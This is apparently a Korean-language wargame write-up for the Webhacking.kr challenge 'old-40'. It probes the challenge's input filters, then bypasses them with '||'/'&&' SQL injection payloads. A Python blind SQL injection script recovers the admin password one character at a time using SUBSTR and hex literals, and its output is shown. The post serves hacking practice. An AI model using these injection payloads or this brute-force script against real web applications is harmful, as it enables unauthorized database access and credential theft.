본문 바로가기

Webhacking.kr

old-40

취약점 분석

1' and id='admin' and pw='sfasfds' or 1=1 --

⇒ access denied(필터링 메시지)

1' and id='admin'

⇒ access denied

1' and

⇒ access denied

1' or 1=1 --

⇒ access denied

'admin' 1=1 --

⇒ access denied

ord / ascii

⇒ access denied

여기 까지 결론

공백, OR 키워드, 따옴표, ord, ascii 는 필터링 된다.

여러가지 시도를 해보던 중, 다음과 같은 익스플로잇 포인트를 발견했다.

# no 입력창에 입력
3||no=2  #3보다 더 큰 수를 입력해도 결과는 동일
# 혹은
-1||no=2

 

위와 같이 입력했더니 되었다.

URL 파라미터를 보면 다음과 같다.

?no=3||no=2&id=guest&pw=guest

⇒ admin password :

여기까지 알 수 있는 부분은 다음과 같다.

  • 공백, OR 키워드, 따옴표, ord, ascii 는 필터링 된다.
  • admin의 no는 2다.
  • 1,2 이외의 다른 no를 가진 사용자는 없다.

그리고, 소스코드에 다음의 쿼리가 있는건 아닌지 유추해 볼 수 있다.

추정 SQL 쿼리 소스코드

select ... where auth = '?'

“admin password : “라는 문구가 뜨는 것을 유추해보아, admin이라는 계정의 pw값을 “admin password : “ 페이지에서 입력하면 되는 것 같다.

익스플로잇

1. pw값 길이 구하기

no 입력창에 다음 입력

-1||no=2&&length(pw)>1
...
-1||no=2&&length(pw)>9

⇒ admin password :

-1||no=2&&length(pw)>10

Failure

?no=-1||no=2&&length(pw)>1&id=guest&pw=guest

...
?no=-1||no=2&&length(pw)>9&id=guest&pw=guest

admin password :

브라우저 URL창에 입력시 && 연산자는 %26%26으로 교체

이유 : &&는 URL 파라미터를 나누는 &으로 해석될 위험

?no=3||no%3D2%26%26length(pw)>10&id=guest&pw=guest

Failure

admin의 pw길이 : 10

2. pw값 구하기

SUBSTR함수도 혹시 막히는지 체크해 보았다.

“access denied”로 필터링되지는 않는거로 보아 SUBSTR 함수는 가능하다.

익스플로잇 코드

숫자, 영문 대소문자, 특수문자를 전부 포함해 한 글자 씩 알아내면 된다.

import requests
import string

URL = '<https://webhacking.kr/challenge/web-29/>'
cookie = {'PHPSESSID':'n7dnun8ip3arq4nocpjvq0dv3d'}
good_String="admin"

pw=""

# Find_String
for i in range(1, 11):
  for j in string.digits + string.ascii_letters + string.punctuation:
    param="?no=3||no=2%26%26SUBSTR(pw,{},1)='{}'&id=guest&pw=guest".format(i,hex(ord(j)))
    r=requests.get(URL + param, cookies=cookie)
    if (r.text.count(good_String) != 0):
      pw += j
      print(pw)
      break

print("pw:{}".format(pw))

hex(ord(j))를 사용하는 이유는 SQL 인젝션 구문에서 문자열 비교를 16진수 형태로 수행하기 위함이다.

이것은 공격 대상 데이터베이스 시스템의 특성이나 우회를 위해 필요한 경우가 많다.

1. ord(j)의 역할: 문자를 숫자로 변환

  • **ord(j)**는 파이썬 내장 함수로, 문자 j를 해당 문자의 ASCII(아스키) 또는 유니코드 정수 값으로 변환한다.
  • ex)
    • ord('a'): $97$
    • ord('1'): $49$
    • 이는 문자열을 직접 비교하는 대신, 데이터베이스에게 "이 문자에 해당하는 숫자가 뭔지”를 전달하여 비교하게 만드는 첫 단계

2. hex(...)의 역할: 숫자를 16진수 문자열로 변환

  • **hex(...)**는 파이썬 내장 함수로, 입력된 정수 값을 '0x'가 붙은 16진수 문자열로 변환
  • ex)
    • hex(97)은 '0x61'
    • hex(49)는 '0x31'

이렇게 16진수로 변환된 값 ('0x61')이 SQL 인젝션 구문의 최종 비교 대상 값으로 사용된다.

3. 16진수 사용 이유 (핵심)

데이터베이스 시스템에서 16진수 값을 사용하는 주된 이유는 다음과 같다.

A. 문자열 이스케이프 회피 (Avoid Escaping)

일부 데이터베이스나 웹 서버의 필터링 로직은 ' (작은따옴표)나 " (큰따옴표), 또는 기타 특수 문자들을 필터링하거나 자동으로 이스케이프(escape) 처리합니다.

  • 일반적인 문자열 비교: SUBSTR(pw, i, 1) = 'a'
  • 16진수 비교: SUBSTR(pw, i, 1) = 0x61
  • 16진수 형태인 0x61은 따옴표를 사용하지 않거나, 따옴표를 사용하더라도 데이터베이스가 이를 문자열이 아닌 숫자 상수(Hexadecimal Literal)로 인식하게 하여 필터링을 우회할 가능성이 높아진다**(중요).**

B. 데이터베이스의 특성

일부 데이터베이스(특히 MySQL)에서는 문자열 함수로 추출된 값(예: SUBSTR(pw, i, 1))과 16진수 값(0x61)을 비교하는 것이 문자열끼리 비교하는 것보다 더 효율적이거나, 공격자가 원하는 방식으로 논리 비교가 이루어지게 할 수 있다.

요약

hex(ord(j))는 공격자가 추측하는 문자 j를 필터링에 걸리지 않을 가능성이 높은 16진수 형태로 변환하여 SQL 쿼리에 삽입하기 위해 사용하는 것

익스플로잇 실행 결과

PS C:\\HackingStudy\\[Webhacking.kr](<http://webhacking.kr/>)> & C:/Users/user/AppData/Local/Programs/Python/Python313/python.exe c:/HackingStudy/Webhacking.kr/old-40/exploit.py
l
lu
luc
luck
luck_
luck_a
luck_ad
luck_adm
luck_admi
luck_admin
pw:luck_admin

 

끝.

'Webhacking.kr' 카테고리의 다른 글

old-28  (1) 2026.05.12
old-30  (0) 2026.05.12
old-22  (0) 2026.05.12
old-44  (0) 2026.05.12
old-02  (0) 2026.05.12